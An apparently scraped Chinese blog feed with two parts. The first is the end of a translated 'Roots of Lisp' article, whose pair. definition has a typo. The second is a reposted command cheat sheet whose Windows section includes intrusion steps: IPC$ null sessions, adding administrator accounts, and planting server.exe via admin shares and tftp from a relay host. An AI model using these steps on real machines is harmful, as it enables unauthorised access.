&gt; (not. (eq 'a 'b))
t
</pre><p></p></li><li>(append. x y)取两个表并返回它们的连结. 
<p></p><pre>(defun append. (x y)
   (cond ((null. x) y)
         ('t (cons (car x) (append. (cdr x) y)))))

&gt; (append. '(a b) '(c d))
(a b c d)
&gt; (append. '() '(c d))
(c d)
</pre><p></p></li><li>(pair. <i>x y</i>)取两个相同长度的表,返回一个由双元素表构成的表,双元素表是相应位置的x,y的元素对. 
<p></p><pre>(defun pair. (x y)
  (cond ((and. (null. x) (null. y)) '())
        ((and. (not. (atom x)) (not. (atom y)))
         (cons (list (car x) (car y))
               (pair. (cdr) (cdr y))))))

&gt; (pair. '(x y z) '(a b c))
((x a) (y b) (z c))
</pre><p></p></li><li>(assoc. <i>x y</i>)取原子<i>x</i>和形如pair.函数所返回的表<i>y</i>,返回<i>y</i>中第一个符合如下条件的表的第二个元素:它的第一个元素是<i>x</i>. 
<p></p><pre>(defun assoc. (x y)
  (cond ((eq (caar y) x) (cadar y))
        ('t (assoc. x (cdr y)))))

&gt; (assoc. 'x '((x a) (y b)))
a
&gt; (assoc. 'x '((x new) (x a) (y b)))
new
</pre></li></ol><p></p><h1><a name="SECTION00040000000000000000"><font color="#1d58d1">一个惊喜</font></a></h1>因此我们能够定义函数来连接表,替换表达式等等.也许算是一个优美的表示法, 那下一步呢? 现在惊喜来了. 我们可以写一个函数作为我们语言的解释器:此函数取任意Lisp表达式作自变量并返回它的值. 如下所示: 
<p></p><pre>(defun eval. (e a)
  (cond 
    ((atom e) (assoc. e a))
    ((atom (car e))
     (cond 
       ((eq (car e) 'quote) (cadr e))
       ((eq (car e) 'atom)  (atom   (eval. (cadr e) a)))
       ((eq (car e) 'eq)    (eq     (eval. (cadr e) a)
                                    (eval. (caddr e) a)))
       ((eq (car e) 'car)   (car    (eval. (cadr e) a)))
       ((eq (car e) 'cdr)   (cdr    (eval. (cadr e) a)))
       ((eq (car e) 'cons)  (cons   (eval. (cadr e) a)
                                    (eval. (caddr e) a)))
       ((eq (car e) 'cond)  (evcon. (cdr e) a))
       ('t (eval. (cons (assoc. (car e) a)
                        (cdr e))
                  a))))
    ((eq (caar e) 'label)
     (eval. (cons (caddar e) (cdr e))
            (cons (list (cadar e) (car e)) a)))
    ((eq (caar e) 'lambda)
     (eval. (caddar e)
            (append. (pair. (cadar e) (evlis. (cdr  e) a))
                     a)))))

(defun evcon. (c a)
  (cond ((eval. (caar c) a)
         (eval. (cadar c) a))
        ('t (evcon. (cdr c) a))))

(defun evlis. (m a)
  (cond ((null. m) '())
        ('t (cons (eval.  (car m) a)
                  (evlis. (cdr m) a)))))
</pre>eval.的定义比我们以前看到的都要长. 让我们考虑它的每一部分是如何工作的. 
<p>eval.有两个自变量: e是要求值的表达式, a是由一些赋给原子的值构成的表,这些值有点象函数调用中的参数. 这个形如pair.的返回值的表叫做<em>环境</em>. 正是为了构造和搜索这种表我们才写了pair.和assoc.. </p><p>eval.的骨架是一个有四个子句的cond表达式. 如何对表达式求值取决于它的类型. 第一个子句处理原子. 如果e是原子, 我们在环境中寻找它的值: </p><p></p><pre>&gt; (eval. 'x '((x a) (y b)))
a
</pre><p>第二个子句是另一个cond, 它处理形如(<i>a</i> ...)的表达式, 其中<i>a</i>是原子. 这包括所有的原始操作符, 每个对应一条子句. </p><p></p><pre>&gt; (eval. '(eq 'a 'a) '())
t
&gt; (eval. '(cons x '(b c))
         '((x a) (y b)))
(a b c)
</pre>这几个子句(除了quote)都调用eval.来寻找自变量的值. 
<p>最后两个子句更复杂些. 为了求cond表达式的值我们调用了一个叫 evcon.的辅助函数. 它递归地对cond子句进行求值,寻找第一个元素返回t的子句. 如果找到了这样的子句, 它返回此子句的第二个元素. </p><p></p><pre>&gt; (eval. '(cond ((atom x) 'atom)
                ('t 'list))
         '((x '(a b))))
list
</pre><p>第二个子句的最后部分处理函数调用. 它把原子替换为它的值(应该是lambda 或label表达式)然后对所得结果表达式求值. 于是 </p><p></p><pre>(eval. '(f '(b c))
       '((f (lambda (x) (cons 'a x)))))
</pre>变为 <pre>(eval. '((lambda (x) (cons 'a x)) '(b c))
       '((f (lambda (x) (cons 'a x)))))
</pre>它返回(a b c). 
<p>eval.的最后cond两个子句处理第一个元素是lambda或label的函数调用.为了对label 表达式求值, 先把函数名和函数本身压入环境, 然后调用eval.对一个内部有 lambda的表达式求值. 即: </p><p></p><pre>(eval. '((label firstatom (lambda (x)
                            (cond ((atom x) x)
                                  ('t (firstatom (car x))))))
         y)
       '((y ((a b) (c d)))))
</pre>变为 <pre>(eval. '((lambda (x)
           (cond ((atom x) x)
                 ('t (firstatom (car x)))))
         y)
        '((firstatom
           (label firstatom (lambda (x)
                            (cond ((atom x) x)
                                  ('t (firstatom (car x)))))))
          (y ((a b) (c d)))))
</pre>最终返回a. 
<p>最后,对形如((lambda (<img height="28" alt="$p_{1}$" src="http://daiyuwen.freeshell.org/gb/rol/img1.png" width="19" align="middle" border="0" />...<img height="28" alt="$p_{n}$" src="http://daiyuwen.freeshell.org/gb/rol/img3.png" width="21" align="middle" border="0" />) <i>e</i>) <img height="28" alt="$a_{1}$" src="http://daiyuwen.freeshell.org/gb/rol/img5.png" width="20" align="middle" border="0" />...<img height="28" alt="$a_{n}$" src="http://daiyuwen.freeshell.org/gb/rol/img6.png" width="21" align="middle" border="0" />)的表达式求值,先调用evlis.来求得自变量(<img height="28" alt="$a_{1}$" src="http://daiyuwen.freeshell.org/gb/rol/img5.png" width="20" align="middle" border="0" />...<img height="28" alt="$a_{n}$" src="http://daiyuwen.freeshell.org/gb/rol/img6.png" width="21" align="middle" border="0" />)对应的值(<img height="28" alt="$v_{1}$" src="http://daiyuwen.freeshell.org/gb/rol/img9.png" width="19" align="middle" border="0" />...<img height="28" alt="$v_{n}$" src="http://daiyuwen.freeshell.org/gb/rol/img10.png" width="21" align="middle" border="0" />),把(<img height="28" alt="$p_{1}$" src="http://daiyuwen.freeshell.org/gb/rol/img1.png" width="19" align="middle" border="0" /><img height="28" alt="$v_{1}$" src="http://daiyuwen.freeshell.org/gb/rol/img9.png" width="19" align="middle" border="0" />)...(<img height="28" alt="$p_{n}$" src="http://daiyuwen.freeshell.org/gb/rol/img3.png" width="21" align="middle" border="0" /><img height="28" alt="$v_{n}$" src="http://daiyuwen.freeshell.org/gb/rol/img10.png" width="21" align="middle" border="0" />)添加到环境里, 然后对<i>e</i>求值. 于是 </p><p></p><pre>(eval. '((lambda (x y) (cons x (cdr y)))
         'a
         '(b c d))
       '())
</pre>变为 <pre>(eval. '(cons x (cdr y))
       '((x a) (y (b c d))))
</pre>最终返回(a c d). 
<p></p><h1><a name="SECTION00050000000000000000"><font color="#1d58d1">后果</font></a></h1><p>既然理解了eval是如何工作的, 让我们回过头考虑一下这意味着什么. 我们在这儿得到了一个非常优美的计算模型. 仅用quote,atom,eq,car,cdr,cons,和cond, 我们定义了函数eval.,它事实上实现了我们的语言,用它可以定义任何我们想要的额外的函数. </p><p>当然早已有了各种计算模型--最著名的是图灵机. 但是图灵机程序难以读懂. 如果你要一种描述算法的语言, 你可能需要更抽象的, 而这就是约翰麦卡锡定义 Lisp的目标之一. </p><p>约翰麦卡锡于1960年定义的语言还缺不少东西. 它没有副作用, 没有连续执行 (它得和副作用在一起才有用), 没有实际可用的数,<a href="http://daiyuwen.freeshell.org/gb/rol/roots_of_lisp.html#foot199" name="tex2html4"><sup><font color="#1d58d1">4</font></sup></a> 没有动态可视域. 但这些限制可以令人惊讶地用极少的额外代码来补救. Steele和Sussman在一篇叫做``解释器的艺术''的著名论文中描述了如何做到这点.<a href="http://daiyuwen.freeshell.org/gb/rol/roots_of_lisp.html#foot200" name="tex2html5"><sup><font color="#1d58d1">5</font></sup></a></p><p>如果你理解了约翰麦卡锡的eval, 那你就不仅仅是理解了程序语言历史中的一个阶段. 这些思想至今仍是Lisp的语义核心. 所以从某种意义上, 学习约翰麦卡锡的原著向我们展示了Lisp究竟是什么. 与其说Lisp是麦卡锡的设计,不如说是他的发现. 它不是生来就是一门用于人工智能, 快速原型开发或同等层次任务的语言. 它是你试图公理化计算的结果(之一). </p><p>随着时间的推移, 中级语言, 即被中间层程序员使用的语言, 正一致地向Lisp靠近. 因此通过理解eval你正在明白将来的主流计算模式会是什么样. </p><p></p><h1><a name="SECTION00060000000000000000"><font color="#1d58d1">注释</font></a></h1>把约翰麦卡锡的记号翻译为代码的过程中我尽可能地少做改动. 我有过让代码更容易阅读的念头, 但是我还是想保持原汁原味. 
<p>在约翰麦卡锡的论文中,假用f来表示, 而不是空表. 我用空表表示假以使例子能在Common Lisp中运行. (fixme) </p><p>我略过了构造dotted pairs, 因为你不需要它来理解eval. 我也没有提apply, 虽然是apply(它的早期形式, 主要作用是引用自变量), 被约翰麦卡锡在1960年称为普遍函数, eval只是不过是被apply调用的子程序来完成所有的工作. </p><p>我定义了list和c<i>x</i>r等作为简记法因为麦卡锡就是这么做的. 实际上 c<i>x</i>r等可以被定义为普通的函数. List也可以这样, 如果我们修改eval, 这很容易做到, 让函数可以接受任意数目的自变量. </p><p>麦卡锡的论文中只有五个原始操作符. 他使用了cond和quote,但可能把它们作为他的元语言的一部分. 同样他也没有定义逻辑操作符and和not, 这不是个问题, 因为它们可以被定义成合适的函数. </p><p>在eval.的定义中我们调用了其它函数如pair.和assoc.,但任何我们用原始操作符定义的函数调用都可以用eval.来代替. 即 </p><pre>(assoc. (car e) a)
</pre>能写成 
<p></p><pre>(eval. '((label assoc.
                (lambda (x y)
                  (cond ((eq (caar y) x) (cadar y))
                        ('t (assoc. x (cdr y))))))
         (car e)
         a)
        (cons (list 'e e) (cons (list 'a a) a)))
</pre><p>麦卡锡的eval有一个错误. 第16行是(相当于)(evlis. (cdr e) a)而不是(cdr e), 这使得自变量在一个有名函数的调用中被求值两次. 这显示当论文发表的时候, eval的这种描述还没有用IBM 704机器语言实现. 它还证明了如果不去运行程序, 要保证不管多短的程序的正确性是多么困难. </p><p>我还在麦卡锡的论文中碰到一个问题. 在定义了eval之后, 他继续给出了一些更高级的函数--接受其它函数作为自变量的函数. 他定义了maplist: </p><p></p><pre>(label maplist
       (lambda (x f)
         (cond ((null x) '())
               ('t (cons (f x) (maplist (cdr x) f))))))
</pre>然后用它写了一个做微分的简单函数diff. 但是diff传给maplist一个用<i>x</i>做参数的函数, 对它的引用被maplist中的参数x所捕获.<a href="http://daiyuwen.freeshell.org/gb/rol/roots_of_lisp.html#foot211" name="tex2html6"><sup><font color="#1d58d1">6</font></sup></a><p>这是关于动态可视域危险性的雄辩证据, 即使是最早的更高级函数的例子也因为它而出错. 可能麦卡锡在1960年还没有充分意识到动态可视域的含意. 动态可视域令人惊异地在Lisp实现中存在了相当长的时间--直到Sussman和Steele于 1975年开发了Scheme. 词法可视域没使eval的定义复杂多少, 却使编译器更难写了. </p><p></p><h1><a name="SECTION00070000000000000000"><font color="#1d58d1">About this document ...</font></a></h1><strong>Lisp之根源</strong><p>This document was generated using the <a href="http://www-texdev.mpce.mq.edu.au/l2h/docs/manual/"><font color="#1d58d1"><strong>LaTeX</strong>2<tt>HTML</tt></font></a> translator Version 2K.1beta (1.48) </p><p>Copyright © 1993, 1994, 1995, 1996, <a href="http://cbl.leeds.ac.uk/nikos/personal.html"><font color="#1d58d1">Nikos Drakos</font></a>, Computer Based Learning Unit, University of Leeds. <br />Copyright © 1997, 1998, 1999, <a href="http://www.maths.mq.edu.au/~ross/"><font color="#1d58d1">Ross Moore</font></a>, Mathematics Department, Macquarie University, Sydney. </p><p>The command line arguments were: <br /><strong>latex2html</strong><tt>-split=0 roots_of_lisp.tex</tt></p><p>The translation was initiated by Dai Yuwen on 2003-10-24 <br /></p><hr /><h4>Footnotes</h4><dl><dt><a name="foot222"><font color="#1d58d1">... 欧几里德对几何的贡献.</font></a><a href="http://daiyuwen.freeshell.org/gb/rol/roots_of_lisp.html#tex2html1" name="foot222"><sup><font color="#1d58d1">1</font></sup></a></dt><dd>``Recursive Functions of Symbolic Expressions and Their Computation by Machine, Part1.'' <i>Communication of the ACM</i> 3:4, April 1960, pp. 184-195. 
</dd><dt><a name="foot84"><font color="#1d58d1">...当表达式以七个原始操作符中的五个开头时,它的自变量总是要求值的.</font></a><a href="http://daiyuwen.freeshell.org/gb/rol/roots_of_lisp.html#tex2html2" name="foot84"><sup><font color="#1d58d1">2</font></sup></a></dt><dd>以另外两个操作符quote和cond开头的表达式以不同的方式求值. 当 quote表达式求值时, 它的自变量不被求值,而是作为整个表达式的值返回. 在 一个正确的cond表达式中, 只有L形路径上的子表达式会被求值. 
</dd><dt><a name="foot108"><font color="#1d58d1">... 数.</font></a><a href="http://daiyuwen.freeshell.org/gb/rol/roots_of_lisp.html#tex2html3" name="foot108"><sup><font color="#1d58d1">3</font></sup></a></dt><dd>逻辑上我们不需要为了这定义一个新的记号. 在现有的记号中用 一个叫做Y组合器的函数上的函数, 我们可以定义递归函数. 可能麦卡锡在写 这篇论文的时候还不知道Y组合器; 无论如何, label可读性更强. 
</dd><dt><a name="foot199"><font color="#1d58d1">... 没有实际可用的数,</font></a><a href="http://daiyuwen.freeshell.org/gb/rol/roots_of_lisp.html#tex2html4" name="foot199"><sup><font color="#1d58d1">4</font></sup></a></dt><dd>在麦卡锡的1960 年的Lisp中, 做算术是可能的, 比如用一个有n个原子的表表示数n. 
</dd><dt><a name="foot200"><font color="#1d58d1">... 的艺术''的著名论文中描述了如何做到这点.</font></a><a href="http://daiyuwen.freeshell.org/gb/rol/roots_of_lisp.html#tex2html5" name="foot200"><sup><font color="#1d58d1">5</font></sup></a></dt><dd>Guy Lewis Steele, Jr. and Gerald Jay Sussman, ``The Art of the Interpreter, or the Modularity Complex(Parts Zero,One,and Two),'' MIT AL Lab Memo 453, May 1978. 
</dd><dt><a name="foot211"><font color="#1d58d1">... 对它的引用被maplist中的参数x所捕获.</font></a><a href="http://daiyuwen.freeshell.org/gb/rol/roots_of_lisp.html#tex2html6" name="foot211"><sup><font color="#1d58d1">6</font></sup></a></dt><dd>当代的Lisp程序 员在这儿会用mapcar代替maplist. 这个例子解开了一个谜团: maplist为什 么会在Common Lisp中. 它是最早的映射函数, mapcar是后来增加的. </dd></dl></div>
<img src ="http://www.cnitblog.com/martin/aggbug/10235.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/martin/" target="_blank">Martin</a> 2006-05-09 09:14 <a href="http://www.cnitblog.com/martin/archive/2006/05/09/10235.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转]常用DOS命令全面收藏</title><link>http://www.cnitblog.com/martin/archive/2006/04/29/9885.html</link><dc:creator>Martin</dc:creator><author>Martin</author><pubDate>Sat, 29 Apr 2006 01:59:00 GMT</pubDate><guid>http://www.cnitblog.com/martin/archive/2006/04/29/9885.html</guid><wfw:comment>http://www.cnitblog.com/martin/comments/9885.html</wfw:comment><comments>http://www.cnitblog.com/martin/archive/2006/04/29/9885.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/martin/comments/commentRss/9885.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/martin/services/trackbacks/9885.html</trackback:ping><description><![CDATA[net use \\ip\ipc$ " " /user:" " 建立IPC空链接 <br />net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接 <br />net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H: <br />net use h: \\ip\c$ 登陆后映射对方C：到本地为H: <br />net use \\ip\ipc$ /del 删除IPC链接 <br />net use h: /del 删除映射对方到本地的为H:的映射 <br />net user 用户名　密码　/add 建立用户 <br />net user guest /active:yes 激活guest用户 <br />net user 查看有哪些用户 <br />net user 帐户名 查看帐户的属性 <br />net localgroup ***istrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意：***istrator后加s用复数 <br />net start 查看开启了哪些服务 <br />net start 服务名　 开启服务；(如:net start telnet， net start schedule) <br />net stop 服务名 停止某服务 <br />net time \\目标ip 查看对方时间 <br />net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息 <br />net view 查看本地局域网内开启了哪些共享 <br />net view \\ip 查看对方局域网内开启了哪些共享 <br />net config 显示系统网络设置 <br />net logoff 断开连接的共享 <br />net pause 服务名 暂停某服务 <br />net send ip "文本信息" 向对方发信息 <br />net ver 局域网内正在使用的网络连接类型和信息 <br />net share 查看本地开启的共享 <br />net share ipc$ 开启ipc$共享 <br />net share ipc$ /del 删除ipc$共享 <br />net share c$ /del 删除C：共享 <br />net user guest 12345 用guest用户登陆后用将密码改为12345 <br />net password 密码 更改系统登陆密码 <br />netstat -a 查看开启了哪些端口,常用netstat -an <br />netstat -n 查看端口的网络连接情况，常用netstat -an <br />netstat -v 查看正在进行的工作 <br />netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情况） <br />netstat -s 查看正在使用的所有协议使用情况 <br />nbtstat -A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）<br />-注意：参数-A要大写 <br />tracert -参数 ip(或计算机名) 跟踪路由（数据包），参数：“-w数字”用于设置超时间隔。 <br />ping ip(或域名) 向对方主机发送默认大小为32字节的数据，参数：“-l[空格]数据包大小”；“-n发送数据次数”；“-t”指一直ping。 <br />ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping) <br />ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用参数“/all”<br />显示全部配置信息 <br />tlist -t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内) <br />kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools<br />文件夹内) <br />del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录<br />下所有只读文件，“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
<p align="left">#2 二：</p><p align="left">del /S /Q 目录 或用：rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消<br />删除操作时的系统确认就直接删除。（二个命令作用相同） <br />move 盘符\路径\要移动的文件名　存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动<br />目录存在相同文件的提示就直接覆盖 <br />fc one.txt two.txt &gt; 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中，"&gt; "和"&gt; &gt;" 是重定向命令 <br />at id号 开启已注册的某个计划任务 <br />at /delete 停止所有计划任务，用参数/yes则不需要确认就直接停止 <br />at id号 /delete 停止某个已注册的计划任务 <br />at 查看所有的计划任务 <br />at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机 <br />finger username @host 查看最近有哪些用户登陆 <br />telnet ip 端口 远和登陆服务器,默认端口为23 <br />open ip 连接到IP（属telnet登陆后的命令） <br />telnet 在本机上直接键入telnet 将进入本机的telnet <br />copy 路径\文件名1　路径\文件名2 /y 复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写<br />一份现存目录文件 <br />copy c:\srv.exe \\ip\***$ 复制本地c:\srv.exe到对方的***下 <br />cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头要<br />空三排，参数：/b指二进制文件，/a指ASCLL格式文件 <br />copy \\ip\***$\svv.exe c:\ 或:copy\\ip\***$\*.* 复制对方***i$共享下的srv.exe文件（所有文件）至本地C： <br />xcopy 要复制的文件或目录树　目标地址\目录名 复制文件和目录树，用参数/Y将不提示覆盖相同文件 <br />tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后，将“IP”的server.exe下载<br />到目标主机c:\server.exe 参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i 则以ASCII模式（传<br />送文本文件模式）进行传送 <br />tftp -i 对方IP　put c:\server.exe 登陆后，上传本地c:\server.exe至主机 <br />ftp ip 端口 用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送（可执行文件<br />进）；默认为ASCII格式传送(文本文件时) <br />route print 显示出IP路由，将主要显示网络地址Network addres，子网掩码Netmask，网关地址Gateway <br />addres，接口地址Interface <br />arp 查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp -a将<br />显示出全部信息 <br />start 程序名或命令 /max 或/min 新开一个新窗口并最大化（最小化）运行某程序或命令 <br />mem 查看cpu使用情况 <br />attrib 文件名(目录名) 查看某文件（目录）的属性 <br />attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档，只读，系统，隐藏 属性；用＋则是<br />添加为某属性 <br />dir 查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，/T:A显示文件上次被访<br />问时间，/T:W上次被修改时间 <br />date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间，而不必输入新日期<br />和时间 <br />set 指定环境变量名称=要指派给变量的字符 设置环境变量 <br />set 显示当前所有的环境变量 <br />set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量 <br />pause 暂停批处理程序，并显示出：请按任意键继续.... <br />if 在批处理程序中执行条件处理（更多说明见if命令及变量） <br />goto 标签 将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如：<br />“：start”标签） <br />call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 （更多说明见call /?） <br />for 对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量） <br />echo on或off 打开或关闭echo，仅用echo不加参数则显示当前echo设置 <br />echo 信息 在屏幕上显示出信息 <br />echo 信息 &gt;&gt; pass.txt 将"信息"保存到pass.txt文件中 <br />findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello <br />find 文件名 查找某文件 <br />title 标题名字 更改CMD窗口标题名字 <br />color 颜色值 设置cmd控制台前景和背景颜色；0＝黑、1＝蓝、2＝绿、3＝浅绿、4＝红、5＝紫、<br />6＝黄、7=白、8=灰、9=淡蓝、A＝淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白 <br />prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为：EntSky\ )</p><p align="left">#3 三：</p><p align="left">ver 在DOS窗口下显示版本信息 <br />winver 弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名） <br />format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFS <br />md　目录名 创建目录 <br />replace 源文件　要替换文件的目录 替换文件 <br />ren 原文件名　新文件名 重命名文件名 <br />tree 以树形结构显示出目录，用参数-f 将列出第个文件夹中文件名称 <br />type 文件名 显示文本文件的内容 <br />more 文件名 逐屏显示输出文件 <br />doskey 要锁定的命令＝字符<br />doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行，重新调用win2k命令，并创建宏)。如：锁定dir命令：doskey dir=entsky (不能用doskey dir=dir)；解锁：doskey dir= <br />taskmgr 调出任务管理器 <br />chkdsk /F D: 检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误 <br />tlntadmn telnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务默认端口23为其它任何端口 <br />exit 退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exe <br />path 路径\可执行文件的文件名 为可执行文件设置一个路径。 <br />cmd 启动一个win2K命令解释窗口。参数：/eff、/en 关闭、开启命令扩展；更我详细说明见cmd /? <br />regedit /s 注册表文件名 导入注册表；参数/S指安静模式导入，无任何提示； <br />regedit /e 注册表文件名 导出注册表 <br />cacls 文件名　参数 显示或修改文件访问控制列表（ACL）——针对NTFS格式时。参数：/D <br />用户名:设定拒绝某用户访问；/P 用户名:perm 替换指定用户的访问权限；/G 用户名:perm 赋予<br />指定用户访问权限；Perm 可以是: N 无，R 读取， W 写入， C 更改(写入)，F 完全控制；<br />例：cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。 <br />cacls 文件名 查看文件的访问用户权限列表 <br />REM 文本内容 在批处理文件中添加注解 <br />netsh 查看或更改本地网络配置情况</p><p align="left">#4 四：</p><p align="left">IIS服务命令： <br />iisreset /reboot 重启win2k计算机（但有提示系统将重启信息出现） <br />iisreset /start或stop 启动（停止）所有Internet服务 <br />iisreset /restart 停止然后重新启动所有Internet服务 <br />iisreset /status 显示所有Internet服务状态 <br />iisreset /enable或disable 在本地系统上启用（禁用）Internet服务的重新启动 <br />iisreset /rebootonerror 当启动、停止或重新启动Internet服务时，若发生错误将重新开机 <br />iisreset /noforce 若无法停止Internet服务，将不会强制终止Internet服务 <br />iisreset /timeout Val在到达逾时间（秒）时，仍未停止Internet服务，若指定/rebootonerror参数，<br />则电脑将会重新开机。预设值为重新启动20秒，停止60秒，重新开机0秒。 <br />FTP 命令： (后面有详细说明内容) <br />ftp的命令行格式为:<br />ftp －v －d －i －n －g[主机名] －v 显示远程服务器的所有响应信息。<br />－d 使用调试方式。 <br />－n 限制ftp的自动登录,即不使用.netrc文件。<br />－g 取消全局文件名。 <br />help [命令] 或 ？[命令] 查看命令说明 <br />bye 或 quit 终止主机FTP进程,并退出FTP管理方式. <br />pwd 列出当前远端主机目录 <br />put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中 <br />get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中 <br />mget [remote-files] 从远端主机接收一批文件至本地主机 <br />mput local-files 将本地主机中一批文件传送至远端主机 <br />dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写<br />至本地文件 <br />ascii 设定以ASCII方式传送文件(缺省值) <br />bin 或 image 设定以二进制方式传送文件 <br />bell 每完成一次文件传送,报警提示 <br />cdup 返回上一级目录 <br />close 中断与远程服务器的ftp会话(与open对应) <br />open host[port] 建立指定ftp服务器连接,可指定连接端口 <br />delete 删除远端主机中的文件 <br />mdelete [remote-files] 删除一批文件 <br />mkdir directory-name 在远端主机中建立目录 <br />rename [from] [to] 改变远端主机中的文件名 <br />rmdir directory-name 删除远端主机中的目录 <br />status 显示当前FTP的状态 <br />system 显示远端主机系统类型 <br />user user-name [password] [account] 重新以别的用户名登录远端主机 <br />open host [port] 重新建立一个新的连接 <br />prompt 交互提示模式 <br />macdef 定义宏命令 <br />lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录 <br />chmod 改变远端主机的文件权限 <br />case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母 <br />cd remote－dir 进入远程主机目录 <br />cdup 进入远程主机目录的父目录 <br />! 在本地机中执行交互shell，exit回到ftp环境,如!ls＊.zip</p><p align="left">#5 五：</p><p align="left">MYSQL 命令： <br />mysql -h主机地址 -u用户名 －p密码 连接MYSQL;如果刚安装好MYSQL，超级用户root是没有密码的。<br />（例：mysql -h110.110.110.110 -Uroot -P123456 <br />注:u与root可以不用加空格，其它也一样） <br />exit 退出MYSQL <br />mysql*** -u用户名 -p旧密码 password 新密码 修改密码 <br />grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。（注意：和上面不同，<br />下面的因为是MYSQL环境中的命令，所以后面都带一个分号作为命令结束符） <br />show databases; 显示数据库列表。刚开始时才两个数据库：mysql和test。mysql库很重要它里面有<br />MYSQL的系统信息，我们改密码和新增用户，实际上就是用这个库进行操作。 <br />use mysql；<br />show tables; 显示库中的数据表 <br />describe 表名; 显示数据表的结构 <br />create database 库名; 建库 <br />use 库名；<br />create table 表名 (字段设定列表)； 建表 <br />drop database 库名; <br />drop table 表名； 删库和删表 <br />delete from 表名; 将表中记录清空 <br />select * from 表名; 显示表中的记录 <br />mysqldump --opt school&gt;school.bbb 备份数据库：（命令在DOS的<a href="file://%5c%5cmysql%5c%5cbin/">\\mysql\\bin</a>目录下执行）;注释:将<br />数据库school备份到school.bbb文件，school.bbb是一个文本文件，文件名任取，打开看看你会有新发现。 <br />win2003系统下新增命令（实用部份）： <br />shutdown /参数 关闭或重启本地或远程主机。<br />参数说明：/S 关闭主机，/R 重启主机， /T 数字 设定延时的时间，范围0～180秒之间， /A取消开机，<br />/M //IP 指定的远程主机。<br />例：shutdown /r /t 0 立即重启本地主机（无延时） <br />taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。<br />参数说明：/PID 要终止进程的pid,可用tasklist命令获得各进程的pid，/IM 要终止的进程的进程名，/F <br />强制终止进程，/T 终止指定的进程及他所启动的子进程。 <br />tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。<br />参数说明：/M 列出当前进程加载的dll文件，/SVC 显示出每个进程对应的服务，无参数时就只列出当前的进程。</p><p align="left">#6 六：</p><p align="left">Linux系统下基本命令： 要区分大小写 <br />uname 显示版本信息（同win2K的 ver） <br />dir 显示当前目录文件,ls -al 显示包括隐藏文件（同win2K的 dir） <br />pwd 查询当前所在的目录位置 <br />cd cd　..回到上一层目录，注意cd 与..之间有空格。cd　/返回到根目录。 <br />cat 文件名 查看文件内容 <br />cat &gt;abc.txt 往abc.txt文件中写上内容。 <br />more 文件名 以一页一页的方式显示一个文本文件。 <br />cp 复制文件 <br />mv 移动文件 <br />rm 文件名 删除文件，rm -a 目录名删除目录及子目录 <br />mkdir 目录名 建立目录 <br />rmdir 删除子目录，目录内没有文档。 <br />chmod 设定档案或目录的存取权限 <br />grep 在档案中查找字符串 <br />diff 档案文件比较 <br />find 档案搜寻 <br />date 现在的日期、时间 <br 